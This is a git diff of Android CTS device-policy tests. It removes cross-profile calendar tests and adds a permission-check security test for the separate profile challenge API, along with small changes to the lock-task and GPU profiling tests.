- WORK_EVENT_DTSTART - DateUtils.YEAR_IN_MILLIS,
- WORK_EVENT_DTEND + DateUtils.YEAR_IN_MILLIS, null),
- projection, null, null, null);
-
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- cursor.moveToFirst();
- assertThat(cursor.getString(0)).isEqualTo(WORK_EVENT_TITLE);
- assertThat(cursor.getLong(1)).isEqualTo(WORK_EVENT_DTSTART);
- assertThat(cursor.getInt(2)).isEqualTo(1);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final String[] projection = new String[]{
- CalendarContract.Instances.TITLE,
- CalendarContract.Instances.DTSTART,
- CalendarContract.Instances.IS_PRIMARY,
- };
- final Cursor cursor = mResolver.query(
- buildQueryInstancesUri(CalendarContract.Instances.ENTERPRISE_CONTENT_BY_DAY_URI,
- WORK_EVENT_DTSTART_JULIAN_DAY - 1,
- WORK_EVENT_DTEND_JULIAN_DAY + 1, null),
- projection, null, null, null);
-
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- cursor.moveToFirst();
- assertThat(cursor.getString(0)).isEqualTo(WORK_EVENT_TITLE);
- assertThat(cursor.getLong(1)).isEqualTo(WORK_EVENT_DTSTART);
- assertThat(cursor.getInt(2)).isEqualTo(1);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_canAccessWorkInstancesSearch1() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final Cursor cursor = mResolver.query(
- buildQueryInstancesUri(CalendarContract.Instances.ENTERPRISE_CONTENT_SEARCH_URI,
- WORK_EVENT_DTSTART - DateUtils.YEAR_IN_MILLIS,
- WORK_EVENT_DTEND + DateUtils.YEAR_IN_MILLIS, WORK_EVENT_TITLE),
- null, null, null, null);
- // There is only one event that meets the search criteria.
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_canAccessWorkInstancesSearch2() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final Cursor cursor = mResolver.query(
- buildQueryInstancesUri(CalendarContract.Instances.ENTERPRISE_CONTENT_SEARCH_URI,
- WORK_EVENT_DTSTART_2 - DateUtils.YEAR_IN_MILLIS,
- WORK_EVENT_DTEND + DateUtils.YEAR_IN_MILLIS, WORK_EVENT_DESCRIPTION),
- null, null, null, null);
- // There are two events that meet the search criteria.
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(2);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_canAccessWorkInstancesSearchByDay() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final Cursor cursor = mResolver.query(
- buildQueryInstancesUri(
- CalendarContract.Instances.ENTERPRISE_CONTENT_SEARCH_BY_DAY_URI,
- WORK_EVENT_DTSTART_2_JULIAN_DAY - 1,
- WORK_EVENT_DTEND_2_JULIAN_DAY + 1,
- WORK_EVENT_DESCRIPTION),
- null, null, null, null);
- // There are two events that meet the search criteria.
- assertThat(cursor).isNotNull();
- assertThat(cursor.getCount()).isEqualTo(1);
- }
-
- // This test should be run when the test package is whitelisted and cross-profile calendar
- // is enabled in settings.
- public void testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns() {
- requireRunningOnPrimaryProfile();
-
- // Test the return cursor is correct when the all checks are met.
- final String[] projection = new String[] {
- CalendarContract.Calendars.CALENDAR_DISPLAY_NAME,
- CalendarContract.Calendars.CALENDAR_COLOR,
- CalendarContract.Calendars.OWNER_ACCOUNT
- };
- assertThrows(IllegalArgumentException.class, () -> mResolver.query(
- CalendarContract.Calendars.ENTERPRISE_CONTENT_URI,
- projection, SELECTION_ACCOUNT_TYPE, new String[]{TEST_ACCOUNT_TYPE}, null));
- }
-
- // This test should be run when the test package is not whitelisted.
- public void testViewEventCrossProfile_intentFailedWhenNotWhitelisted() throws Exception {
- requireRunningOnPrimaryProfile();
-
- assertThat(CalendarContract.startViewCalendarEventInManagedProfile(mContext,
- TEST_VIEW_EVENT_ID, TEST_VIEW_EVENT_START, TEST_VIEW_EVENT_END,
- TEST_VIEW_EVENT_ALL_DAY, TEST_VIEW_EVENT_FLAG)).isFalse();
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testWhitelistManagedProfilePackage() {
- requireRunningOnManagedProfile();
- mDevicePolicyManager.setCrossProfileCalendarPackages(
- ADMIN_RECEIVER_COMPONENT, new ArraySet<String>(Arrays.asList(MANAGED_PROFILE_PKG)));
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testWhitelistAllPackages() {
- requireRunningOnManagedProfile();
- mDevicePolicyManager.setCrossProfileCalendarPackages(
- ADMIN_RECEIVER_COMPONENT, null);
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testCleanupWhitelist() {
- requireRunningOnManagedProfile();
- mDevicePolicyManager.setCrossProfileCalendarPackages(
- ADMIN_RECEIVER_COMPONENT, Collections.emptySet());
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testAddTestCalendarDataForWorkProfile() throws Exception {
- requireRunningOnManagedProfile();
- addTestAccount();
- final long calendarId = insertWorkCalendar(WORK_CALENDAR_TITLE);
- insertWorkEvent(WORK_EVENT_TITLE, calendarId, WORK_EVENT_DTSTART, WORK_EVENT_DTEND);
- insertWorkEvent(WORK_EVENT_TITLE_2, calendarId, WORK_EVENT_DTSTART_2, WORK_EVENT_DTEND_2);
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testCleanupTestCalendarDataForWorkProfile() {
- requireRunningOnManagedProfile();
- int numDeleted = mResolver.delete(CalendarContract.Events.CONTENT_URI,
- "(" + CalendarContract.Calendars.ACCOUNT_TYPE + " = ? )",
- new String[]{TEST_ACCOUNT_TYPE});
- assertThat(numDeleted).isEqualTo(2);
- numDeleted = mResolver.delete(CalendarContract.Calendars.CONTENT_URI,
- "(" + CalendarContract.Calendars.ACCOUNT_TYPE + " = ? )",
- new String[]{TEST_ACCOUNT_TYPE});
- assertThat(numDeleted).isEqualTo(1);
- removeTestAccount();
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testEnableCrossProfileCalendarSettings() {
- requireRunningOnManagedProfile();
- Secure.putInt(mResolver, CROSS_PROFILE_CALENDAR_ENABLED,
- /* value= */1);
- }
-
- // Utils method, not a actual test. Ran from ManagedProfileTest.java to set up for actual tests.
- public void testDisableCrossProfileCalendarSettings() {
- requireRunningOnManagedProfile();
- Secure.putInt(mResolver, CROSS_PROFILE_CALENDAR_ENABLED,
- /* value= */0);
- }
-
- // Builds an uri for querying Instances table.
- private Uri buildQueryInstancesUri(Uri uri, long start, long end, String query) {
- Uri.Builder builder = uri.buildUpon();
- ContentUris.appendId(builder, start);
- ContentUris.appendId(builder, end);
- if (!TextUtils.isEmpty(query)) {
- builder = builder.appendPath(query);
- }
- return builder.build();
- }
-
- // This method should align with
- // DummyCrossProfileViewEventActivity#getViewEventCrossProfileString.
- private String getViewEventCrossProfileString(long eventId, long start, long end,
- boolean allDay, int flags) {
- return String.format("id:%d, start:%d, end:%d, allday:%b, flag:%d", eventId,
- start, end, allDay, flags);
- }
-
// This method is to guard that particular tests are supposed to run on managed profile.
private void requireRunningOnManagedProfile() {
assertThat(isManagedProfile()).isTrue();
}
- // This method is to guard that particular tests are supposed to run on primary profile.
- private void requireRunningOnPrimaryProfile() {
- assertThat(isManagedProfile()).isFalse();
- }
-
- private long insertWorkCalendar(String displayName) {
- final ContentValues cv = new ContentValues();
- cv.put(CalendarContract.Calendars.ACCOUNT_TYPE, TEST_ACCOUNT_TYPE);
- cv.put(CalendarContract.Calendars.OWNER_ACCOUNT, TEST_ACCOUNT_NAME);
- cv.put(CalendarContract.Calendars.ACCOUNT_NAME, TEST_ACCOUNT_NAME);
- cv.put(CalendarContract.Calendars.CALENDAR_DISPLAY_NAME, displayName);
- cv.put(CalendarContract.Calendars.CALENDAR_COLOR, WORK_CALENDAR_COLOR);
- cv.put(CalendarContract.Calendars.CALENDAR_TIME_ZONE, WORK_TIMEZONE);
- cv.put(CalendarContract.Calendars.SYNC_EVENTS, WORK_SYNC_EVENT);
- final Uri uri = mResolver.insert(
- addSyncQueryParams(CalendarContract.Calendars.CONTENT_URI, TEST_ACCOUNT_NAME,
- TEST_ACCOUNT_TYPE), cv);
- return Long.parseLong(uri.getLastPathSegment());
- }
-
- private void insertWorkEvent(String eventTitle, long calendarId, long dtStart, long dtEnd) {
- final ContentValues cv = new ContentValues();
- cv.put(CalendarContract.Events.TITLE, eventTitle);
- cv.put(CalendarContract.Events.CALENDAR_ID, calendarId);
- cv.put(CalendarContract.Events.DESCRIPTION, WORK_EVENT_DESCRIPTION);
- cv.put(CalendarContract.Events.EVENT_LOCATION, WORK_EVENT_LOCATION);
- cv.put(CalendarContract.Events.EVENT_COLOR, WORK_EVENT_COLOR);
- cv.put(CalendarContract.Events.DTSTART, dtStart);
- cv.put(CalendarContract.Events.DTEND, dtEnd);
- cv.put(CalendarContract.Events.EVENT_TIMEZONE, WORK_TIMEZONE);
- mResolver.insert(CalendarContract.Events.CONTENT_URI, cv);
- }
-
- /**
- * Constructs a URI from a base URI (e.g. "content://com.android.calendar/calendars"),
- * an account name, and an account type.
- */
- private Uri addSyncQueryParams(Uri uri, String account, String accountType) {
- return uri.buildUpon().appendQueryParameter(CalendarContract.CALLER_IS_SYNCADAPTER, "true")
- .appendQueryParameter(CalendarContract.Calendars.ACCOUNT_NAME, account)
- .appendQueryParameter(CalendarContract.Calendars.ACCOUNT_TYPE, accountType).build();
- }
-
- private void addTestAccount() {
- Account account = new Account(TEST_ACCOUNT_NAME, TEST_ACCOUNT_TYPE);
- AccountManager.get(mContext).addAccountExplicitly(account, null, null);
- }
-
- private void removeTestAccount() {
- Account account = new Account(TEST_ACCOUNT_NAME, TEST_ACCOUNT_TYPE);
- AccountManager.get(mContext).removeAccountExplicitly(account);
- }
-
private boolean isManagedProfile() {
String adminPackage = ADMIN_RECEIVER_COMPONENT.getPackageName();
return mDevicePolicyManager.isProfileOwnerApp(adminPackage);
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
new file mode 100644
index 0000000..ab5465e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSeparateProfileChallengeApp",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ min_sdk_version: "27",
+ srcs: ["src/**/*.java"],
+ libs: [
+ "android.test.runner.stubs",
+ "junit",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "ub-uiautomator",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ "sts",
+ ],
+}
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
new file mode 100644
index 0000000..600b5c1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.separateprofilechallenge" >
+
+ <uses-sdk android:minSdkVersion="27"/>
+
+ <uses-permission android:name="WRITE_SECURE_SETTINGS"/>
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.separateprofilechallenge"
+ android:label="Separate Profile Challenge Permission CTS tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
new file mode 100644
index 0000000..1b0378b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.separateprofilechallenge;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnitRunner;
+
+import static org.junit.Assert.assertNotNull;
+
+public class SeparateProfileChallengePermissionsTest extends AndroidTestCase {
+
+ public void testSeparateProfileChallengePermissions() throws Exception {
+ DevicePolicyManager dpm = (DevicePolicyManager)
+ mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ assertNotNull(dpm);
+ try {
+ dpm.isSeparateProfileChallengeAllowed(0); /* Try to use USER_SYSTEM */
+ fail("The user must be system to call isSeparateProfileChallengeAllowed().");
+ } catch (SecurityException ignore) {
+ // That's what we want!
+ } catch (NoSuchMethodError err) {
+ // API unavailable - pass
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 0abf72c..4746fc4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1230,6 +1230,9 @@
// Wait for the LockTask starting
waitForBroadcastIdle();
+ // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
+ executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
+
// Try to open settings via adb
executeShellCommand("am start -a android.settings.SETTINGS");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
index 452fee8..b9a8041 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -342,18 +342,6 @@
.build());
}
- @FlakyTest
- @Test
- public void testCrossProfileCalendar() throws Exception {
- if (!mHasFeature) {
- return;
- }
- runCrossProfileCalendarTestsWhenWhitelistedAndEnabled();
- runCrossProfileCalendarTestsWhenAllPackagesWhitelisted();
- runCrossProfileCalendarTestsWhenDisabled();
- runCrossProfileCalendarTestsWhenNotWhitelisted();
- }
-
@Test
public void testSetCrossProfilePackages_notProfileOwner_throwsSecurityException()
throws Exception {
@@ -647,145 +635,6 @@
return getDevice().executeShellCommand(String.format("pidof %s", packageName)).trim();
}
- private void runCrossProfileCalendarTestsWhenWhitelistedAndEnabled() throws Exception {
- try {
- // Setup. Add the test package into cross-profile calendar whitelist, enable
- // cross-profile calendar in settings, and insert test data into calendar provider.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistManagedProfilePackage", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenAllPackagesWhitelisted() throws Exception {
- try {
- // Setup. Allow all packages to access cross-profile calendar APIs by setting
- // the whitelist to null, enable cross-profile calendar in settings,
- // and insert test data into calendar provider.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistAllPackages", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkCalendarsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkEventsWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getCorrectWorkInstancesByDayWhenEnabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch1", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearch2", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_canAccessWorkInstancesSearchByDay", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_getExceptionWhenQueryNonWhitelistedColumns", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenDisabled() throws Exception {
- try {
- // Setup. Add the test package into cross-profile calendar whitelist,
- // and insert test data into calendar provider. But disable cross-profile calendar
- // in settings. Thus cross-profile calendar Uris should not be accessible.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testWhitelistManagedProfilePackage", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupWhitelist", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- }
- }
-
- private void runCrossProfileCalendarTestsWhenNotWhitelisted() throws Exception {
- try {
- // Setup. Enable cross-profile calendar in settings and insert test data into calendar
- // provider. But make sure that the test package is not whitelisted for cross-profile
- // calendar. Thus cross-profile calendar Uris should not be accessible.
- // All setups should be done in managed profile.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testAddTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testEnableCrossProfileCalendarSettings", mProfileUserId);
-
- // Testing.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testViewEventCrossProfile_intentFailedWhenNotWhitelisted", mParentUserId);
- } finally {
- // Cleanup.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
- "testDisableCrossProfileCalendarSettings", mProfileUserId);
- }
- }
-
private void setIdleWhitelist(String packageName, boolean enabled)
throws DeviceNotAvailableException {
String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
new file mode 100644
index 0000000..b3983b6
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.SecurityTest;
+
+import org.junit.Test;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+/**
+ * Host side tests for separate profile challenge permissions.
+ * Run the CtsSeparateProfileChallengeApp device side test.
+ */
+
+public class SeparateProfileChallengeTest extends BaseDevicePolicyTest {
+ private static final String SEPARATE_PROFILE_PKG = "com.android.cts.separateprofilechallenge";
+ private static final String SEPARATE_PROFILE_APK = "CtsSeparateProfileChallengeApp.apk";
+ private static final String SEPARATE_PROFILE_TEST_CLASS =
+ ".SeparateProfileChallengePermissionsTest";
+ private String mPreviousHiddenApiPolicy = "0";
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ setHiddenApiPolicyOn();
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeTestUsers();
+ getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
+ setHiddenApiPolicyPreviousOrOff();
+ super.tearDown();
+ }
+
+ @SecurityTest
+ @Test
+ public void testSeparateProfileChallengePermissions() throws Exception {
+ if (!mHasFeature || !mSupportsMultiUser) {
+ return;
+ }
+
+ // Create managed profile.
+ final int profileUserId = createManagedProfile(mPrimaryUserId);
+ // createManagedProfile doesn't start the user automatically.
+ startUser(profileUserId);
+ installAppAsUser(SEPARATE_PROFILE_APK, profileUserId);
+ executeSeparateProfileChallengeTest(profileUserId);
+ }
+
+ protected void setHiddenApiPolicyOn() throws Exception {
+ mPreviousHiddenApiPolicy = getDevice().executeShellCommand(
+ "settings get global hidden_api_policy_p_apps");
+ executeShellCommand("settings put global hidden_api_policy_p_apps 1");
+ }
+
+ protected void setHiddenApiPolicyPreviousOrOff() throws Exception {
+ executeShellCommand("settings put global hidden_api_policy_p_apps "
+ + mPreviousHiddenApiPolicy);
+ }
+
+ private void executeSeparateProfileChallengeTest(int userId) throws Exception {
+ runDeviceTestsAsUser(SEPARATE_PROFILE_PKG, SEPARATE_PROFILE_TEST_CLASS, userId);
+ }
+}
diff --git a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
index d4a6c98..c7a2f04 100644
--- a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
+++ b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
@@ -16,6 +16,8 @@
package android.graphics.gpuprofiling.cts;
+import static org.junit.Assume.assumeFalse;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.CommandResult;
@@ -27,6 +29,7 @@
import java.util.Base64;
import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,6 +41,26 @@
public static final String TAG = "GpuProfilingDataDeviceActivity";
private static final String FRAME_TRACER_SOURCE_NAME = "android.surfaceflinger.frame";
+ // Copied from PackageManager
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+ private static final String FEATURE_EMBEDDED = "android.hardware.type.embedded";
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ private static final String FEATURE_WATCH = "android.hardware.type.watch";
+ private static final String FEATURE_TELEVISION = "android.hardware.type.television";
+
